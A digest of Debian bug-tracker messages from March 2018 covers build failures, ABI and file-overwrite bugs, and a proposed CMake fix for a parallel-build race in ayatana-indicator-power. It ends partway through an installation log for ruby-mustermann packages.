Source: ruby-sexp-processor
Version: 4.7.0-1
Severity: important
User: debian-r...@lists.debian.org
Usertags: ruby2.5

Dear Maintainer,

This package fails to build against ruby2.5. Soon, there will
be a transition to ruby2.5, and this package will FTBFS in sid.

There may be some details on the wiki about common problems:
https://wiki.debian.org/Teams/Ruby/Ruby25Transition

I'm hoping this is an intermittent failure. Praying, really.
But capturing in case it's rare.

Build log excerpt:


95 runs, 171 assertions, 0 failures, 0 errors, 14 skips

You have skipped tests. Run with --verbose for details.
/usr/bin/ruby2.5 /usr/bin/gem2deb-test-runner

┌──┐
│ Run tests for ruby2.5 from debian/ruby-test-files.yaml   │
└──┘

RUBYLIB=/build/ruby-sexp-processor-4.7.0/debian/ruby-sexp-processor/usr/lib/ruby/vendor_ruby:.
 
GEM_PATH=debian/ruby-sexp-processor/usr/share/rubygems-integration/all:/root/.gem/ruby/2.5.0:/var/lib/gems/2.5.0:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.5.0:/usr/share/rubygems-integration/2.5.0:/usr/share/rubygems-integration/all
 ruby2.5 -ryaml -e YAML.load_file\(\"debian/ruby-test-files.yaml\"\).each\ \{\ 
\|f\|\ require\ f\ \}
Run options: --seed 24009

# Running:

..S./build/ruby-sexp-processor-4.7.0/debian/ruby-sexp-processor/usr/lib/ruby/vendor_ruby/sexp_processor.rb:293:
 [BUG] Stack consistency error (sp: 151, bp: 150)
ruby 2.5.0p0 (2017-12-25 revision 61468) [x86_64-linux-gnu]

-- Control frame information ---
c:0026 p:0616 s:0151 e:000149 BLOCK  
/build/ruby-sexp-processor-4.7.0/debian/ruby-sexp-processor/usr/lib/ruby/vendor_ruby/sexp_processor.rb:293
c:0025 p:0012 s:0141 e:000140 METHOD 
/build/ruby-sexp-processor-4.7.0/debian/ruby-sexp-processor/usr/lib/ruby/vendor_ruby/sexp_processor.rb:373
c:0024 p:0195 s:0136 e:000135 METHOD 
/build/ruby-sexp-processor-4.7.0/debian/ruby-sexp-processor/usr/lib/ruby/vendor_ruby/sexp_processor.rb:227
c:0023 p:0022 s:0127 e:000124 METHOD 
/build/ruby-sexp-processor-4.7.0/test/test_sexp_processor.rb:109
c:0022 p:0024 s:0119 e:000118 BLOCK  
/usr/lib/ruby/vendor_ruby/minitest/test.rb:107
c:0021 p:0002 s:0116 e:000115 METHOD 
/usr/lib/ruby/vendor_ruby/minitest/test.rb:204
c:0020 p:0006 s:0111 e:000110 BLOCK  
/usr/lib/ruby/vendor_ruby/minitest/test.rb:104
c:0019 p:0014 s:0108 e:000107 METHOD 
/usr/lib/ruby/vendor_ruby/minitest/test.rb:255
c:0018 p:0006 s:0103 e:000102 BLOCK  
/usr/lib/ruby/vendor_ruby/minitest/test.rb:103
c:0017 p:0029 s:0100 e:99 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:350
c:0016 p:0044 s:0092 E:001f68 METHOD 
/usr/lib/ruby/vendor_ruby/minitest/test.rb:275
c:0015 p:0005 s:0085 E:000ef0 METHOD 
/usr/lib/ruby/vendor_ruby/minitest/test.rb:102
c:0014 p:0010 s:0081 e:80 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:839
c:0013 p:0026 s:0074 e:72 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:324
c:0012 p:0011 s:0066 e:65 BLOCK  /usr/lib/ruby/vendor_ruby/minitest.rb:311 
[FINISH]
c:0011 p: s:0062 e:61 CFUNC  :each
c:0010 p:0007 s:0058 e:57 BLOCK  /usr/lib/ruby/vendor_ruby/minitest.rb:310
c:0009 p:0029 s:0055 e:54 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:350
c:0008 p:0029 s:0047 E:001178 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:337
c:0007 p:0109 s:0040 E:000898 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:309
c:0006 p:0010 s:0031 e:30 BLOCK  /usr/lib/ruby/vendor_ruby/minitest.rb:159 
[FINISH]
c:0005 p: s:0027 e:26 CFUNC  :map
c:0004 p:0038 s:0023 e:22 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:159
c:0003 p:0132 s:0014 e:13 METHOD /usr/lib/ruby/vendor_ruby/minitest.rb:136
c:0002 p:0059 s:0007 E:000358 BLOCK  /usr/lib/ruby/vendor_ruby/minitest.rb:63 
[FINISH]
c:0001 p: s:0003 E:000600 (none) [FINISH]

-- Ruby level backtrace information 
/usr/lib/ruby/vendor_ruby/minitest.rb:63:in `block in autorun'
/usr/lib/ruby/vendor_ruby/minitest.rb:136:in `run'

Bug#892633: pytest-catchlog FTBFS with pytest 3.3.2-2

[Adrian Bunk]

Source: pytest-catchlog
Version: 1.2.2+git20170915-3
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/pytest-catchlog.html

...
I: pybuild base:184: python2.7 -m pytest -v -x
= test session starts ==
platform linux2 -- Python 2.7.14+, pytest-3.3.2, py-1.5.2, pluggy-0.6.0 -- 
/usr/bin/python2.7
cachedir: .cache
rootdir: /build/1st/pytest-catchlog-1.2.2+git20170915, inifile:
plugins: catchlog-1.2.2
collecting ... collected 25 items

tests/test_compat.py::test_camel_case_aliases FAILED [  4%]

=== FAILURES ===
___ test_camel_case_aliases 

testdir = 

def test_camel_case_aliases(testdir):
testdir.makepyfile('''
import logging

logger = logging.getLogger(__name__)

def test_foo(caplog):
caplog.setLevel(logging.INFO)
logger.debug('boo!')

with caplog.atLevel(logging.WARNING):
logger.info('catch me if you can')
''')
result = testdir.runpytest()
>   assert result.ret == 0
E   assert 1 == 0
E+  where 1 = <_pytest.pytester.RunResult instance at 
0x7f8b617edcf8>.ret

/build/1st/pytest-catchlog-1.2.2+git20170915/tests/test_compat.py:19: 
AssertionError
- Captured stdout call -
= test session starts ==
platform linux2 -- Python 2.7.14+, pytest-3.3.2, py-1.5.2, pluggy-0.6.0
rootdir: /tmp/pytest-of-pbuilder1/pytest-0/test_camel_case_aliases0, inifile:
plugins: catchlog-1.2.2
collected 1 item

test_camel_case_aliases.py F [100%]

=== FAILURES ===
___ test_foo ___

caplog = <_pytest.logging.LogCaptureFixture object at 0x7f8b618820d0>

def test_foo(caplog):
>   caplog.setLevel(logging.INFO)
E   AttributeError: 'LogCaptureFixture' object has no attribute 'setLevel'

test_camel_case_aliases.py:6: AttributeError
=== warnings summary ===
None
  pytest-catchlog plugin has been merged into the core, please remove it from 
your requirements.

-- Docs: http://doc.pytest.org/en/latest/warnings.html
= 1 failed, 1 warnings in 0.34 seconds =
=== warnings summary ===
None
  pytest-catchlog plugin has been merged into the core, please remove it from 
your requirements.

-- Docs: http://doc.pytest.org/en/latest/warnings.html
= 1 failed, 1 warnings in 2.64 seconds =
E: pybuild pybuild:283: test: plugin custom failed with: exit code=1: python2.7 
-m pytest -v -x
dh_auto_test: pybuild --test --test-pytest -i python{version} -p 2.7 returned 
exit code 13
make[1]: *** [debian/rules:17: override_dh_auto_install] Error 25

Bug#892631: gwcs: FTBFS and Debci failure with Astropy 3.0

[Adrian Bunk]

Source: gwcs
Version: 0.7-2
Severity: serious

https://ci.debian.net/packages/g/gwcs/unstable/amd64/
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/gwcs.html

...
= test session starts ==
platform linux -- Python 3.6.4+, pytest-3.3.2, py-1.5.2, pluggy-0.6.0

Running tests with gwcs version 0.7.
Running tests in gwcs docs.

Date: 2019-04-13T02:27:40

Platform: Linux-4.9.0-6-amd64-x86_64-with-debian-buster-sid

Executable: /usr/bin/python3

Full Python Version: 
3.6.4+ (default, Feb 12 2018, 08:25:03) 
[GCC 7.3.0]

encodings: sys: utf-8, locale: ANSI_X3.4-1968, filesystem: ascii
byteorder: little
float info: dig: 15, mant_dig: 15

Numpy: 1.13.3
Scipy: not available
Matplotlib: not available
Pandas: not available
Astropy: 3.0
asdf: 1.3.3
Using Astropy options: remote_data: none.

rootdir: /tmp/gwcs-test-m6yzuy6i/lib/python3.6/site-packages, inifile: setup.cfg
plugins: remotedata-0.2.0, openfiles-0.2.0, doctestplus-0.1.2, arraydiff-0.2
collected 65 items / 1 errors

 ERRORS 
 ERROR collecting gwcs/tests/test_separable.py _
gwcs/tests/test_separable.py:30: in 
sh1.separable = True
E   AttributeError: can't set attribute
!!! Interrupted: 1 errors during collection 
=== 1 error in 0.60 seconds 
/usr/lib/python3/dist-packages/astropy/config/configuration.py:536: 
ConfigurationMissingWarning: Configuration defaults will be used due to 
FileNotFoundError:2 on None
  warn(ConfigurationMissingWarning(msg))
make[1]: *** [debian/rules:26: override_dh_auto_test] Error 2

Bug#885620: marked as done (ABI break without bumping soname)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 16:45:00 +0100
with message-id <1774055.740gifYu0y@tuxin>
and subject line Re: Bug#885620: akonadi broke ABI without bumping soname
has caused the Debian Bug report #885620,
regarding ABI break without bumping soname
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
885620: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=885620
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: kjots
Version: 4:5.0.2-1
Severity: important

Dear Maintainer,

$ kjots
kjots: symbol lookup error: kjots: undefined symbol: 
_ZN7Akonadi3Job16doHandleResponseExRKNS_8Protocol7CommandE
$ 



-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'oldstable')
Architecture: i386 (i686)

Kernel: Linux 4.14.0-2-686-pae (SMP w/8 CPU cores)
Locale: LANG=fr_CH@euro, LC_CTYPE=fr_CH@euro (charmap=UTF-8) (ignored: LC_ALL 
set to en_US.utf8), LANGUAGE=fr_CH:fr (charmap=UTF-8) (ignored: LC_ALL set to 
en_US.utf8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages kjots depends on:
ii  akonadi-server 4:17.08.3-1
ii  kio5.37.0-2
ii  libc6  2.25-5
ii  libgcc11:7.2.0-18
ii  libgrantlee-templates5 5.1.0-2
ii  libgrantlee-textdocument5  5.1.0-2
ii  libkf5akonadicore5 4:17.08.3-1
ii  libkf5akonadinotes54:17.08.3-1
ii  libkf5akonadiwidgets5  4:17.08.3-1
ii  libkf5bookmarks5   5.37.0-2
ii  libkf5configcore5  5.37.0-2
ii  libkf5configgui5   5.37.0-2
ii  libkf5configwidgets5   5.37.0-2
ii  libkf5coreaddons5  5.37.0-2
ii  libkf5i18n55.37.0-2
ii  libkf5itemmodels5  5.37.0-2
ii  libkf5kcmutils55.37.0-2
ii  libkf5kiowidgets5  5.37.0-2
ii  libkf5kontactinterface517.08.3-1
ii  libkf5mime517.08.3-1
ii  libkf5parts5   5.37.0-2
ii  libkf5pimtextedit5 17.08.3-1
ii  libkf5textwidgets5 5.37.0-2
ii  libkf5widgetsaddons5   5.37.0-2
ii  libkf5xmlgui5  5.37.0-2
ii  libqt5core5a   5.9.2+dfsg-6
ii  libqt5dbus55.9.2+dfsg-6
ii  libqt5gui5 5.9.2+dfsg-6
ii  libqt5printsupport55.9.2+dfsg-6
ii  libqt5widgets5 5.9.2+dfsg-6
ii  libstdc++6 7.2.0-18

kjots recommends no packages.

kjots suggests no packages.

-- no debconf information
--- End Message ---
--- Begin Message ---
Version: 4:17.12.2-1

Hey,

with the new version waiting in NEW queue [1] we have no proper symbol 
checking and bumped the ABI. So if the version got accepted and the transition 
is done, this bug is also solved. Unfortunately it will take some time, till 
this fix will be available...

hefee

[1] https://ftp-master.debian.org/new/akonadi_4:17.12.2-1.html

signature.asc
Description: This is a digitally signed message part.
--- End Message ---

Bug#892091: [Pkg-ayatana-devel] Bug#892091: ayatana-indicator-power: FTBFS randomly - gschemas.compiled generated twice

[Mike Gabriel]

Hi James,

On  Mo 05 Mär 2018 12:31:34 CET, James Cowgill wrote:


Source: ayatana-indicator-power
Version: 2.0.92-1
Severity: serious
Tags: sid buster

Hi,

On the buildds, ayatana-indicator-power FTBFS on armhf, mips, ia64, m68k
and sh4 with an error similar to this:

[ 84%] Generating gschemas.compiled
cd /<>/obj-mips-linux-gnu/tests && cp -f  
/<>/obj-mips-linux-gnu/data/*gschema.xml  
/<>/obj-mips-linux-gnu/tests
cp: cannot create regular file  
'/<>/obj-mips-linux-gnu/tests/org.ayatana.indicator.power.gschema.xml': File  
exists
make[3]: *** [tests/CMakeFiles/test-device.dir/build.make:65:  
tests/gschemas.compiled] Error 1

make[3]: Leaving directory '/<>/obj-mips-linux-gnu'
make[2]: *** [CMakeFiles/Makefile2:464:  
tests/CMakeFiles/test-device.dir/all] Error 2

make[2]: *** Waiting for unfinished jobs
make[3]: Entering directory '/<>/obj-mips-linux-gnu'
[ 84%] Generating gschemas.compiled
cd /<>/obj-mips-linux-gnu/tests && cp -f  
/<>/obj-mips-linux-gnu/data/*gschema.xml  
/<>/obj-mips-linux-gnu/tests
cd /<>/obj-mips-linux-gnu/tests &&  
/usr/lib/mips-linux-gnu/glib-2.0/glib-compile-schemas  
/<>/obj-mips-linux-gnu/tests

make[3]: Leaving directory '/<>/obj-mips-linux-gnu'


This looks like a random error induced by parallel builds. Here you can
see that CMake is attempting to generate "gschemas.compiled" twice when
it should only generate it once.

tests/CMakeLists.txt contains:

set (SCHEMA_DIR ${CMAKE_CURRENT_BINARY_DIR})
add_definitions(-DSCHEMA_DIR="${SCHEMA_DIR}")
execute_process (COMMAND ${PKG_CONFIG_EXECUTABLE} gio-2.0  
--variable glib_compile_schemas

 OUTPUT_VARIABLE COMPILE_SCHEMA_EXECUTABLE
 OUTPUT_STRIP_TRAILING_WHITESPACE)
add_custom_command (OUTPUT gschemas.compiled
DEPENDS  
${CMAKE_BINARY_DIR}/data/org.ayatana.indicator.power.gschema.xml
COMMAND cp -f  
${CMAKE_BINARY_DIR}/data/*gschema.xml ${SCHEMA_DIR}

COMMAND ${COMPILE_SCHEMA_EXECUTABLE} ${SCHEMA_DIR})

[...]

function(add_test_by_name name)
  set (TEST_NAME ${name})
  add_executable (${TEST_NAME} ${TEST_NAME}.cc gschemas.compiled)
  add_test (${TEST_NAME} ${TEST_NAME})
  add_dependencies (${TEST_NAME} ayatanaindicatorpowerservice)
  target_link_libraries (${TEST_NAME} ayatanaindicatorpowerservice  
gtest ${DBUSTEST_LIBRARIES} ${SERVICE_DEPS_LIBRARIES} ${GTEST_LIBS})

endfunction()
add_test_by_name(test-notify)
add_test(NAME dear-reader-the-next-test-takes-80-seconds COMMAND true)
add_test_by_name(test-device)


From cmake-commands(7) - add_custom_command:
"Do not list the output in more than one independent target that may
build in parallel or the two instances of the rule may conflict (instead
use the add_custom_target() command to drive the command and make the
other targets depend on that one)."

There are three independent targets here which use gschemas.compiled
(the three tests).

I found this blog which tries to explain it (number 4):
https://samthursfield.wordpress.com/2015/11/21/cmake-dependencies-between-targets-and-files-and-custom-commands/

James


Thanks for your research on this.

Would this feel like a valid fix?

```
diff --git a/tests/CMakeLists.txt b/tests/CMakeLists.txt
index 2c45057..714fa6c 100644
--- a/tests/CMakeLists.txt
+++ b/tests/CMakeLists.txt
@@ -32,6 +32,14 @@ add_custom_command (OUTPUT gschemas.compiled
 COMMAND cp -f  
${CMAKE_BINARY_DIR}/data/*gschema.xml ${SCHEMA_DIR}

 COMMAND ${COMPILE_SCHEMA_EXECUTABLE} ${SCHEMA_DIR})

+add_custom_target(
+test-notify-gschemas ALL DEPENDS gschemas.compiled
+)
+
+add_custom_target(
+test-device-gschemas ALL DEPENDS gschemas.compiled
+)
+
 # look for headers in our src dir, and also in the directories where  
we autogenerate files...

 include_directories (${CMAKE_SOURCE_DIR}/src)
 include_directories (${CMAKE_BINARY_DIR}/src)
@@ -42,9 +50,9 @@ include_directories (${CMAKE_CURRENT_BINARY_DIR})

 function(add_test_by_name name)
   set (TEST_NAME ${name})
-  add_executable (${TEST_NAME} ${TEST_NAME}.cc gschemas.compiled)
+  add_executable (${TEST_NAME} ${TEST_NAME}.cc)
   add_test (${TEST_NAME} ${TEST_NAME})
-  add_dependencies (${TEST_NAME} ayatanaindicatorpowerservice)
+  add_dependencies (${TEST_NAME} ayatanaindicatorpowerservice  
${TEST_NAME}-gschemas)
   target_link_libraries (${TEST_NAME} ayatanaindicatorpowerservice  
gtest ${DBUSTEST_LIBRARIES} ${SERVICE_DEPS_LIBRARIES} ${GTEST_LIBS})

 endfunction()
 add_test_by_name(test-notify)
```

The build works with various levels of parallelism (-j2-6 tested).

Mike
--

DAS-NETZWERKTEAM
mike gabriel, herweg 7, 24357 fleckeby
mobile: +49 (1520) 1976 148
landline: +49 (4354) 8390 139

GnuPG Fingerprint: 9BFB AEE8 6C0A A5FF BF22  0782 9AF4 6B30 2577 1B31
mail: mike.gabr...@das-netzwerkteam.de, http://das-netzwerkteam.de



pgpQQZkF4yD8b.pgp
Description: Digitale PGP-Signatur

Processed: Re: [Pkg-nagios-devel] Bug#892628: icinga-web: Ships Apache 2.2 config

[Debian Bug Tracking System]

Processing control commands:

> retitle -1 icinga-cgi: Ships Apache 2.2 config
Bug #892628 [icinga-web] icinga-web: Ships Apache 2.2 config
Changed Bug title to 'icinga-cgi: Ships Apache 2.2 config' from 'icinga-web: 
Ships Apache 2.2 config'.
> reassign -1 icinga-cgi 1.13.4-2
Bug #892628 [icinga-web] icinga-cgi: Ships Apache 2.2 config
Bug reassigned from package 'icinga-web' to 'icinga-cgi'.
No longer marked as found in versions 1.13.4-2 and 1.11.6-1.
Ignoring request to alter fixed versions of bug #892628 to the same values 
previously set
Bug #892628 [icinga-cgi] icinga-cgi: Ships Apache 2.2 config
Marked as found in versions icinga/1.13.4-2.
> found -1 1.11.6-1
Bug #892628 [icinga-cgi] icinga-cgi: Ships Apache 2.2 config
Marked as found in versions icinga/1.11.6-1.

-- 
892628: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892628
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892628: [Pkg-nagios-devel] Bug#892628: icinga-web: Ships Apache 2.2 config

[Axel Beckert]

Control: retitle -1 icinga-cgi: Ships Apache 2.2 config
Control: reassign -1 icinga-cgi 1.13.4-2
Control: found -1 1.11.6-1

Hi Bas,

Sebastiaan Couwenberg wrote:
> Did you mean to file this package for icinga-cgi instead of
> icinga-web?

Yes. Sorry. My fault. Not sure why I always type icinga-web instead of
icinga-cgi, but it happened before when I was looking up package
details on the web for the bug report.

Context for the icinga-cgi package maintainers:
> On 03/11/2018 03:51 PM, Axel Beckert wrote:
> > at the Debian booth at Chemnitzer Linux-Tage a user of icinga-cgi
> > (X-Debbugs-Cc'ed) showed up who had issues with replacing Nagios with
> > Icinga 1 on Jessie, because icinga-cgi in Jessie still ships and
> > installs an Apache 2.2 configuration incompatible with Apache 2.4 in
> > Debian Jessie. He said that installing icinga-cgi breaks the existing
> > Apache configuration because of that and Apache refuses to start up
> > anymore until you fix the config syntax.
> > 
> > This makes icinga-cgi breaking an unrelated package (apache2 and
> > friends do not depend on icinga-web), hence RC-severity.
> > 
> > I just checked icinga-cgi in unstable and testing, and the config
> > shipped in there still has Apache 2.2 syntax:

Sorry again.

Regards, Axel
-- 
 ,''`.  |  Axel Beckert , https://people.debian.org/~abe/
: :' :  |  Debian Developer, ftp.ch.debian.org Admin
`. `'   |  4096R: 2517 B724 C5F6 CA99 5329  6E61 2FF9 CD59 6126 16B5
  `-|  1024D: F067 EA27 26B9 C3FC 1486  202E C09E 1D89 9593 0EDE

Bug#892628: [Pkg-nagios-devel] Bug#892628: icinga-web: Ships Apache 2.2 config

[Sebastiaan Couwenberg]

On 03/11/2018 03:51 PM, Axel Beckert wrote:
> Package: icinga-web
> Severity: grave
> Version: 1.13.4-2
> Control: found -1 1.11.6-1
> 
> Hi,
> 
> at the Debian booth at Chemnitzer Linux-Tage a user of icinga-cgi
> (X-Debbugs-Cc'ed) showed up who had issues with replacing Nagios with
> Icinga 1 on Jessie, because icinga-cgi in Jessie still ships and
> installs an Apache 2.2 configuration incompatible with Apache 2.4 in
> Debian Jessie. He said that installing icinga-cgi breaks the existing
> Apache configuration because of that and Apache refuses to start up
> anymore until you fix the config syntax.
> 
> This makes icinga-cgi breaking an unrelated package (apache2 and
> friends do not depend on icinga-web), hence RC-severity.
> 
> I just checked icinga-cgi in unstable and testing, and the config
> shipped in there still has Apache 2.2 syntax:

Did you mean to file this package for icinga-cgi instead of icinga-web?

There is no icinga-web version 1.13.4-2.

The progress to update icinga to 1.14.2 is ongoing, but currently block
to me not having found the time and motivation to test if all the jQuery
stuff still works.

If this issue is present in icinga-cgi I'll fix it there. I'm not sure
if I want to bother with the version in jessie.

Kind Regards,

Bas

Bug#868839: marked as done (ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 21:06:14 +0530
with message-id <7d54b778-6d83-3f77-05ba-9e5f4b64d...@debian.org>
and subject line this is already fixed
has caused the Debian Bug report #868839,
regarding ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
868839: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868839
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: ruby-mustermann,ruby-mustermann19
Severity: serious
User: trei...@debian.org
Usertags: edos-file-overwrite
Control: found -1 1.0.0-2
Control: found -1 0.4.3+git20160621-1

Hi,

automatic installation tests of packages that share a file and at the
same time do not conflict by their package dependency relationships has
detected the following problem:

  Selecting previously unselected package ruby-mustermann19.
  Preparing to unpack .../ruby-mustermann19_0.4.3+git20160621-1_all.deb ...
  Unpacking ruby-mustermann19 (0.4.3+git20160621-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/ruby-mustermann19_0.4.3+git20160621-1_all.deb 
(--unpack):
   trying to overwrite 
'/usr/lib/ruby/vendor_ruby/mustermann/ast/boundaries.rb', which is also in 
package ruby-mustermann 1.0.0-2
  Errors were encountered while processing:
   /var/cache/apt/archives/ruby-mustermann19_0.4.3+git20160621-1_all.deb

This is a serious bug as it makes installation fail, and violates
sections 7.6.1 and 10.1 of the policy. An optimal solution would
consist in only one of the packages installing that file, and renaming
or removing the file in the other package. Depending on the
circumstances you might also consider Replace relations or file
diversions. If the conflicting situation cannot be resolved then, as a
last resort, the two packages have to declare a mutual
Conflict. Please take into account that Replaces, Conflicts and
diversions should only be used when packages provide different
implementations for the same functionality.

Here is a list of files that are known to be shared by both packages
(according to the Contents file for sid/amd64, which may be
slightly out of sync):

usr/lib/ruby/vendor_ruby/mustermann.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/boundaries.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/compiler.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/expander.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/node.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/param_scanner.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/parser.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/pattern.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/template_generator.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/transformer.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/translator.rb
usr/lib/ruby/vendor_ruby/mustermann/ast/validation.rb
usr/lib/ruby/vendor_ruby/mustermann/caster.rb
usr/lib/ruby/vendor_ruby/mustermann/composite.rb
usr/lib/ruby/vendor_ruby/mustermann/equality_map.rb
usr/lib/ruby/vendor_ruby/mustermann/error.rb
usr/lib/ruby/vendor_ruby/mustermann/expander.rb
usr/lib/ruby/vendor_ruby/mustermann/extension.rb
usr/lib/ruby/vendor_ruby/mustermann/identity.rb
usr/lib/ruby/vendor_ruby/mustermann/mapper.rb
usr/lib/ruby/vendor_ruby/mustermann/pattern.rb
usr/lib/ruby/vendor_ruby/mustermann/pattern_cache.rb
usr/lib/ruby/vendor_ruby/mustermann/regexp.rb
usr/lib/ruby/vendor_ruby/mustermann/regexp_based.rb
usr/lib/ruby/vendor_ruby/mustermann/regular.rb
usr/lib/ruby/vendor_ruby/mustermann/simple_match.rb
usr/lib/ruby/vendor_ruby/mustermann/sinatra.rb
usr/lib/ruby/vendor_ruby/mustermann/to_pattern.rb
usr/lib/ruby/vendor_ruby/mustermann/version.rb


This bug is assigned to both packages. If you, the maintainers of
the two packages in question, have agreed on which of the packages will
resolve the problem please reassign the bug to that package. You may
also register in the BTS that the other package is affected by the bug.

Cheers,

Andreas

PS: for more information about the detection of file overwrite errors
of this kind see https://qa.debian.org/dose/file-overwrites.html


ruby-mustermann=1.0.0-2_ruby-mustermann19=0.4.3+git20160621-1.log.gz
Description: application/gzip
--- End Message ---
--- Begin Message ---
Control: fixed -1 1.0.0-3

See
https://tracker.debian.org/media/packages/r/ruby-mustermann/control-1.0.0-3



signature.asc
Description: OpenPGP digital signature
--- End Message ---

Bug#868851: marked as done (ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 21:06:14 +0530
with message-id <7d54b778-6d83-3f77-05ba-9e5f4b64d...@debian.org>
and subject line this is already fixed
has caused the Debian Bug report #868839,
regarding ruby-mustermann: missing Breaks+Replaces: ruby-mustermann19
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
868839: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=868839
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: ruby-mustermann-grape,ruby-mustermann19
Version: ruby-mustermann-grape/1.0.0-1
Version: ruby-mustermann19/0.4.3+git20160621-1
Severity: serious
User: trei...@debian.org
Usertags: edos-file-overwrite

Date: 2017-07-19
Architecture: amd64
Distribution: sid

Hi,

automatic installation tests of packages that share a file and at the
same time do not conflict by their package dependency relationships has
detected the following problem:


Preconfiguring packages ...
Selecting previously unselected package libreadline7:amd64.
(Reading database ... 11004 files and directories currently installed.)
Preparing to unpack .../libreadline7_7.0-3_amd64.deb ...
Unpacking libreadline7:amd64 (7.0-3) ...
Selecting previously unselected package libssl1.0.2:amd64.
Preparing to unpack .../libssl1.0.2_1.0.2l-2_amd64.deb ...
Unpacking libssl1.0.2:amd64 (1.0.2l-2) ...
Selecting previously unselected package libssl1.1:amd64.
Preparing to unpack .../libssl1.1_1.1.0f-3_amd64.deb ...
Unpacking libssl1.1:amd64 (1.1.0f-3) ...
Selecting previously unselected package openssl.
Preparing to unpack .../openssl_1.1.0f-3_amd64.deb ...
Unpacking openssl (1.1.0f-3) ...
Selecting previously unselected package ca-certificates.
Preparing to unpack .../ca-certificates_20161130+nmu1_all.deb ...
Unpacking ca-certificates (20161130+nmu1) ...
Selecting previously unselected package libffi6:amd64.
Preparing to unpack .../libffi6_3.2.1-6_amd64.deb ...
Unpacking libffi6:amd64 (3.2.1-6) ...
Selecting previously unselected package libgmp10:amd64.
Preparing to unpack .../libgmp10_2%3a6.1.2+dfsg-1_amd64.deb ...
Unpacking libgmp10:amd64 (2:6.1.2+dfsg-1) ...
Selecting previously unselected package rubygems-integration.
Preparing to unpack .../rubygems-integration_1.11_all.deb ...
Unpacking rubygems-integration (1.11) ...
Selecting previously unselected package ruby2.3.
Preparing to unpack .../ruby2.3_2.3.3-1_amd64.deb ...
Unpacking ruby2.3 (2.3.3-1) ...
Selecting previously unselected package ruby.
Preparing to unpack .../ruby_1%3a2.3.3_amd64.deb ...
Unpacking ruby (1:2.3.3) ...
Selecting previously unselected package rake.
Preparing to unpack .../archives/rake_12.0.0-1_all.deb ...
Unpacking rake (12.0.0-1) ...
Selecting previously unselected package ruby-did-you-mean.
Preparing to unpack .../ruby-did-you-mean_1.0.0-2_all.deb ...
Unpacking ruby-did-you-mean (1.0.0-2) ...
Selecting previously unselected package ruby-minitest.
Preparing to unpack .../ruby-minitest_5.10.2-1_all.deb ...
Unpacking ruby-minitest (5.10.2-1) ...
Selecting previously unselected package ruby-net-telnet.
Preparing to unpack .../ruby-net-telnet_0.1.1-2_all.deb ...
Unpacking ruby-net-telnet (0.1.1-2) ...
Selecting previously unselected package ruby-power-assert.
Preparing to unpack .../ruby-power-assert_0.3.0-1_all.deb ...
Unpacking ruby-power-assert (0.3.0-1) ...
Selecting previously unselected package ruby-test-unit.
Preparing to unpack .../ruby-test-unit_3.2.5-1_all.deb ...
Unpacking ruby-test-unit (3.2.5-1) ...
Selecting previously unselected package libyaml-0-2:amd64.
Preparing to unpack .../libyaml-0-2_0.1.7-2_amd64.deb ...
Unpacking libyaml-0-2:amd64 (0.1.7-2) ...
Selecting previously unselected package libruby2.3:amd64.
Preparing to unpack .../libruby2.3_2.3.3-1_amd64.deb ...
Unpacking libruby2.3:amd64 (2.3.3-1) ...
Selecting previously unselected package ruby-mustermann.
Preparing to unpack .../ruby-mustermann_1.0.0-2_all.deb ...
Unpacking ruby-mustermann (1.0.0-2) ...
Selecting previously unselected package ruby-mustermann-grape.
Preparing to unpack .../ruby-mustermann-grape_1.0.0-1_all.deb ...
Unpacking ruby-mustermann-grape (1.0.0-1) ...
